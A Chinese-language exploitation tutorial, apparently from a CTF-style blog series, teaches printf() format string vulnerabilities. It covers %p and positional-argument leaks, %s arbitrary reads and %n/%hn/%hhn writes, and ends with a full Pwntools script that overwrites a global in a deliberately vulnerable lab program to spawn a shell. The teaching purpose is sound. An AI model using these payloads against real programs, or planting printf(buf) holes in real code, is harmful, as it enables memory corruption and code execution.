昨天介紹了透過 GOT 洩漏 libc 位址的方法。今天換一種做法,看看 printf() 的 Format String Vulnerability。
如果有寫過 C 語言,應該對 printf() 不陌生。它最常見的用途就是輸出文字或變數,例如 printf("%s", name)。
不過,如果開發者把程式寫成:
printf(buf);
而 buf 的內容又是使用者可以控制的,就可能產生 Format String Vulnerability。
這個漏洞不需要 Buffer Overflow,也不一定需要 Shellcode。只要能控制 printf() 的 Format String,就有機會讀取 Stack 上的資料,甚至改寫記憶體中的數值。
今天會從 printf() 的運作方式開始,接著用一個簡單的 C 程式觀察漏洞行為,最後透過 Pwntools 建立 Format String Payload。
先看一個正常的 printf():
#include <stdio.h>
int main()
{
char *name = "john";
printf("Hello %s\n", name);
return 0;
}
執行結果:
Hello john
這裡的 %s 就是一個 Format Specifier,告訴 printf() 要把後面的參數當成字串輸出。
如果換成整數:
int age = 20;
printf("Age: %d\n", age);
就會得到:
Age: 20
printf() 支援不少 Format Specifier,常見的有:
| Specifier | 用途 |
|---|---|
%d |
以十進位輸出整數 |
%x |
以十六進位輸出整數 |
%p |
輸出指標數值 |
%s |
輸出指標所指向的字串 |
%c |
輸出字元 |
%n |
將目前已輸出的字元數寫入指定位置 |
在漏洞利用中,%p、%s、%n 特別值得注意,分別涉及指標洩漏、記憶體讀取與寫入。
正常使用時,這些功能沒有問題。問題出在程式讓使用者控制 Format String,卻沒有提供對應的參數。
假設今天有一段程式:
#include <stdio.h>
int main()
{
char buf[128];
fgets(buf, sizeof(buf), stdin);
printf("%s", buf);
return 0;
}
使用者輸入的內容會透過 %s 輸出。
例如輸入:
Hello %p %x
程式就會原樣印出:
Hello %p %x
因為真正的 Format String 是固定的 "%s",使用者輸入的 %p 和 %x 只是普通字元。
但如果改成:
printf(buf);
使用者輸入就會被當成格式字串解析。
當我們輸入:
Hello %p %x
程式實際執行的效果就類似:
printf("Hello %p %x");
printf() 看到 %p 和 %x,就會嘗試取得對應的參數。
問題是我們根本沒有傳入那些參數。
這在 C 語言中屬於 Undefined Behavior,而在特定架構和執行環境下,可能因此把暫存器或 Stack 上的資料輸出。
這裡需要用到前面學過的 Calling Convention。
在 Linux x86-64 的 System V ABI 中,整數與指標類型的前六個參數通常透過以下暫存器傳遞:
1st → RDI
2nd → RSI
3rd → RDX
4th → RCX
5th → R8
6th → R9
如果還有更多參數,就會使用 Stack 傳遞。
例如:
printf("%d %d", 10, 20);
呼叫時大致會是:
RDI → "%d %d"
RSI → 10
RDX → 20
printf() 透過 Format String 判斷需要讀取哪些參數。
但如果呼叫的是:
printf(buf);
程式只傳入一個參數,也就是指向 buf 的指標。
RDI → buf
假設 buf 的內容是:
%p %p %p %p %p %p
printf() 會依照格式字串,繼續嘗試取得原本沒有提供的參數。
在 x86-64 環境中,它可能依序讀到 RSI、RDX、RCX、R8、R9 所對應的參數位置,之後再讀取 Stack 上的引數位置。
這些數值並不是程式刻意傳給 printf() 的,因此內容不固定,也不保證每次都相同。
不過,如果其中剛好有某個有效的記憶體位址,就可能被我們拿來當作 Information Leak。
先建立一個有漏洞的程式。
vim vuln.c
內容如下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
char buf[128];
setbuf(stdout, NULL);
printf("Input: ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
return 0;
}
編譯:
gcc vuln.c -o vuln -no-pie -fno-stack-protector
這裡先關閉 PIE 和 Stack Canary,方便後面觀察程式的記憶體位址。
不過要注意,Format String Vulnerability 本身並不依賴 Stack Canary 是否開啟。Stack Canary 主要用來偵測特定形式的 Stack Corruption,並不能直接阻止 printf(buf) 這種問題。
先執行程式:
./vuln
輸入:
hello
得到:
Input: hello
hello
接著改成:
%p
可能得到類似:
Input: %p
0x7ffff7fa17e2
這個數值只是示意,實際結果會隨執行環境改變。
再試著一次輸入多個 %p:
%p.%p.%p.%p.%p.%p.%p.%p
可能出現:
0x7ffff7fa17e2.0xfbad208b.0x7fffffffe000...
也可能出現 (nil) 或其他數值。
輸出的數值來自 printf() 嘗試讀取的引數位置,接下來可利用 Positional Argument 找出輸入資料對應的 Offset。
在 Format String 的利用過程中,通常會先嘗試確認自己控制的輸入資料,能不能被 printf() 當成參數讀到。
例如:
AAAA.%p.%p.%p.%p.%p.%p.%p.%p
這裡的 AAAA 是我們放進去的 Marker。
因為字元 A 的 ASCII 值是:
A = 0x41
所以四個 A 在記憶體中就是:
41 41 41 41
如果 printf() 某次讀取的參數位置剛好包含我們的輸入,就可能看到:
0x41414141
在 64-bit 程式中,一個指標參數通常會佔用 8 bytes,因此也可能看到包含其他輸入字元的數值,例如:
0x70252e41414141
將這個數值以 Little Endian 方式拆開:
41 41 41 41 2e 25 70 00
A A A A . % p
就能看出其中包含我們輸入的內容。
不過,這不代表 %p 本身會去讀取指標指向的記憶體。它只是把取得的參數數值當成 Pointer 輸出。
如果我們想要進一步讀取某個 Address 的內容,就需要用到後面會介紹的 %s。
假設我們想知道第七個參數的內容,如果一直使用:
%p.%p.%p.%p.%p.%p.%p
不太方便。
printf() 支援 Positional Argument,可以直接指定要使用哪一個參數。
例如:
%7$p
代表把第七個格式參數當成 Pointer 輸出。
這裡要注意,Index 是從 Format String 後面的第一個參數開始計算,因此 %1$p 指的是第一個可變參數位置,不是存放 Format String 的 RDI。
我們可以逐一測試:
AAAA.%1$p
AAAA.%2$p
AAAA.%3$p
AAAA.%4$p
AAAA.%5$p
AAAA.%6$p
AAAA.%7$p
AAAA.%8$p
假設某次使用:
AAAA.%7$p
得到:
AAAA.0x2437252e41414141
轉換成 Little Endian:
41 41 41 41 2e 25 37 24
A A A A . % 7 $
就能確認第七個參數位置讀到了我們輸入的前八個 Bytes。
這種情況下,可以把第七個位置當成目前 Payload 的 Format String Offset。
但 Offset 會受到輸入內容、Buffer 位置與程式執行方式影響,不能直接認為所有程式都是 7。
尤其之後要把 Address 放進 Payload 時,還必須考慮 64-bit Address 的長度及 Alignment。
手動找 Offset 是理解漏洞的重要練習。等到基本原理清楚後,就可以使用 Pwntools 幫忙處理。
雖然這三個 Format Specifier 都能輸出資料,但讀取方式不同。
%x%x 會把對應參數當成整數,並以十六進位輸出。
例如:
printf("%x\n", 0x41414141);
結果:
41414141
%p%p 會把參數當成 Pointer Value 輸出。
void *ptr = (void *)0x41414141;
printf("%p\n", ptr);
在常見的 Linux 環境中,可能得到:
0x41414141
所以在 Recon 階段,我通常會先使用 %p,因為比較容易辨識位址。
%s%s 會把對應的引數當成字串指標,從該位址持續讀取直到遇到 NULL byte。
例如:
char message[] = "Hello";
printf("%s\n", message);
這裡的 message 不是被當成整數印出,而是被解讀成一個指標。
printf() 會前往該指標所指向的位置讀取內容。
可以用下面這段程式來觀察:
#include <stdio.h>
int main()
{
char secret[] = "FLAG{TEST}";
char *ptr = secret;
printf("Pointer: %p\n", (void *)ptr);
printf("String: %s\n", ptr);
return 0;
}
結果類似:
Pointer: 0x7fffffffe210
String: FLAG{TEST}
兩者的差異是:
%p:輸出指標的數值。%s:讀取指標所指向的字串內容。如果在 Format String Vulnerability 中,我們能讓某個參數位置包含指定的 Address,就可能利用 %s 讀取該位置的資料。
這也是 Format String 建立 Arbitrary Read Primitive 的常見方式。
不過,%s 需要的是有效、可讀取的記憶體位址。如果指向未映射或無法存取的區域,程式可能直接發生 Segmentation Fault。
此外,%s 通常會在遇到 \0 時停止,因此不適合直接讀取所有種類的 Binary Data。
Format String 常被用來洩漏 Stack、PIE、libc 或 Canary 的相關數值。
實際上能取得哪些資訊,取決於程式當下的記憶體狀態,以及我們能控制多少 Format String Argument。
例如透過 %p 取得:
0x7ffff7e12345
這個數值看起來可能位於 libc 映射的範圍,但不能只憑位址長相就直接認定。
在實際分析時,還需要配合 GDB 的記憶體映射資訊,或確認它對應到哪一個 Function、Return Address 或其他已知位置。
如果確定洩漏的位址位於 libc,而且知道它相對於 libc Base 的 Offset,就可以計算:
libc_base = leaked_addr - known_offset
之後再取得需要的 Symbol:
libc.address = libc_base
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
這裡有個容易搞混的地方:不是隨便洩漏一個 libc 位址,就能直接拿來減掉 libc.sym["system"]。
我們必須知道洩漏的是哪個位置,以及該位置相對於 libc Base 的 Offset。
例如洩漏的是某個函式內部的 Return Address,可能還需要額外計算它相對於函式起點的偏移。
這部分其實和昨天的 Information Leak 一樣。
昨天是利用 ROP 呼叫 puts() 讀出 GOT 裡的資料,今天則是利用 Format String 取得可能存在於參數位置的位址。
只要能確認洩漏值的來源,後面的 Base Address 計算方式並沒有太大差別。
除了讀取資訊,%n 還能透過指標寫入目前的輸出字元數,因此可以用來建構 Write Primitive。
先看一個正常的使用方式:
#include <stdio.h>
int main()
{
int n = 0;
printf("AAAA%n\n", &n);
printf("n = %d\n", n);
return 0;
}
執行結果:
AAAA
n = 4
這裡的 %n 不會輸出任何字元,而是把目前這次 printf() 已經輸出的字元數寫入 n。
因為 %n 前面剛好輸出了四個 A,所以 n 最後變成 4。
如果改成:
printf("AAAAAAAA%n\n", &n);
n 就會變成 8。
也就是說,%n 可以讓我們把輸出字元數寫進某個指標指定的位置。
在正常程式中,這個指標是透過 &n 明確傳入的。
但在 Format String Vulnerability 中,如果我們能控制 %n 對應的參數,並且讓它包含想寫入的 Address,就有機會改寫該位址的內容。
這裡需要兩個條件:
%n 對應的 Pointer。%n 時累積的輸出字元數。只要兩個條件都成立,就可以建立可控的 Memory Write。
實際利用時,通常不會只使用 %n。
原因是 %n 寫入的是目前累積的輸出字元數。如果要寫入一個很大的值,可能需要產生大量輸出,處理起來不方便。
因此還有幾種不同的寫入大小:
| Specifier | 寫入大小(Linux x86-64) |
|---|---|
%hhn |
1 byte |
%hn |
2 bytes |
%n |
4 bytes |
%ln |
8 bytes |
其中 %hhn 和 %hn 在 Format String Exploitation 中很常用。
假設我們要寫入:
0x1337
如果使用 %hn,可以直接處理一個 2-byte 數值。
如果改用 %hhn,則可以將資料拆成 Byte Write:
0x37
0x13
由於 x86-64 使用 Little Endian,因此較低位元組會先存放在較低的記憶體位址。
例如:
Address Value
0x404040 0x37
0x404041 0x13
合起來就是:
0x1337
另外,%n 寫入的是累積字元數,而不是直接指定一個立即數。
如果前面已經輸出了 10 個字元,後面想使用 %hhn 寫入 0x37,就需要考慮已經輸出的字元數,以及 1-byte 寫入時的模數運算。
手動計算這些 Padding 有點繁瑣,因此後面會使用 Pwntools 產生 Payload。
接下來把前面的程式修改一下,新增一個 Global Variable。
#include <stdio.h>
#include <stdlib.h>
int target = 0;
int main()
{
char buf[256];
setbuf(stdout, NULL);
printf("target @ %p\n", (void *)&target);
printf("Input: ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
printf("\ntarget = 0x%x\n", target);
if (target == 0x1337)
{
printf("You win!\n");
system("/bin/sh");
}
return 0;
}
這次目標是把:
target = 0;
改成:
target = 0x1337;
只要成功,程式就會進入:
if (target == 0x1337)
並執行:
system("/bin/sh");
先編譯:
gcc vuln.c -o vuln -no-pie -fno-stack-protector
然後確認 Protection:
checksec ./vuln
因為編譯時加入了 -no-pie,所以程式本身的載入基底通常是固定的,可以直接透過 ELF Symbol 取得 target 的位址。
例如:
from pwn import *
elf = ELF("./vuln")
print(hex(elf.sym["target"]))
可能得到:
0x40404c
這個位址只是示意,實際結果依編譯環境而定。
目前已經知道要寫入的 Address 和 Value:
Address → target
Value → 0x1337
剩下的問題就是找出 Format String Offset,並建立能透過 %n 寫入的 Payload。
手動處理 Offset、Padding 和分段寫入比較繁瑣,因此這裡使用 Pwntools 的 FmtStr 與 fmtstr_payload()。
先用 FmtStr 自動偵測 Offset。
建立 find_offset.py:
from pwn import *
context.binary = elf = ELF("./vuln")
def execute_fmt(payload):
p = process(elf.path)
p.sendlineafter(b"Input: ", payload)
output = p.recvall()
p.close()
return output
autofmt = FmtStr(execute_fmt)
log.success(f"offset = {autofmt.offset}")
執行:
python3 find_offset.py
Pwntools 會送出一些測試用的 Format String Payload,並觀察輸出內容,藉此找出使用者輸入對應的 Format Argument Offset。
假設結果是:
[*] Found format string offset: 6
[+] offset = 6
就表示在目前的測試環境中,Pwntools 找到了第六個參數位置。
不過,這個 Offset 並不是固定值。
如果程式改變了 Buffer 大小、讀取方式或 Stack Layout,結果都可能不同。
也因此,實際 Exploit 應該使用偵測到的 Offset,而不是直接把範例中的 6 複製過去。
找到 Offset 後,就可以使用:
fmtstr_payload()
這個函式可以協助產生 Format String Write Payload。
基本使用方式:
payload = fmtstr_payload(
offset,
{
elf.sym["target"]: 0x1337
}
)
第一個參數是 Format String Offset。
第二個參數是一個 Dictionary,指定要寫入的位址和數值。
例如:
{
elf.sym["target"]: 0x1337
}
代表希望將 0x1337 寫到 target 的位址。
Pwntools 會根據目標值與寫入策略產生 Payload,其中可能包含:
Padding
Format Specifier
Address
例如 %hn 或 %hhn 需要控制輸出的字元數,Pwntools 就會協助計算適當的 Padding。
我們也可以透過:
write_size="short"
指定使用 2-byte 為單位的寫入策略。
不過要注意,write_size 代表使用的寫入粒度,不代表整個 Payload 最後只修改 2 bytes。實際寫入範圍還與傳入資料的型別和大小有關。
如果想明確指定寫入數值的大小,可以使用:
p16(0x1337)
這樣就會把 0x1337 編碼為 2-byte Little Endian 資料。
接著把 Offset Discovery 和 Write Payload 結合起來。
from pwn import *
context.binary = elf = ELF("./vuln")
context.log_level = "info"
def execute_fmt(payload):
p = process(elf.path)
p.sendlineafter(b"Input: ", payload)
output = p.recvall()
p.close()
return output
# Find Format String Offset
autofmt = FmtStr(execute_fmt)
offset = autofmt.offset
log.info(f"Format String Offset: {offset}")
# Target Address
target = elf.sym["target"]
log.info(f"Target Address: {hex(target)}")
# Build Format String Payload
payload = fmtstr_payload(
offset,
{
target: p16(0x1337)
},
write_size="short"
)
# Exploit
p = process(elf.path)
p.sendlineafter(b"Input: ", payload)
p.interactive()
執行:
python3 exploit.py
如果 Offset 和 Payload 都正確,就可能看到:
target = 0x1337
You win!
$
這次利用沒有覆蓋 Saved RIP,也沒有使用 ROP Chain。
我們只是透過:
printf(buf);
讓 Format String 修改原本不應該被使用者控制的 Global Variable。
另外,這個實驗有一個需要注意的地方:程式使用 fgets() 讀取輸入,當 Payload 包含 NULL Byte 時,printf() 會在第一個 NULL Byte 停止解析 Format String。
因此 Pwntools 通常會把需要的 Address 放在格式字串的後面,並處理對齊問題,讓 Address 能被當成參數使用,而不是直接當成 Format String 的一部分解析。
這也是為什麼手動拼接 Format String Payload,會比單純輸入幾個 %p 複雜。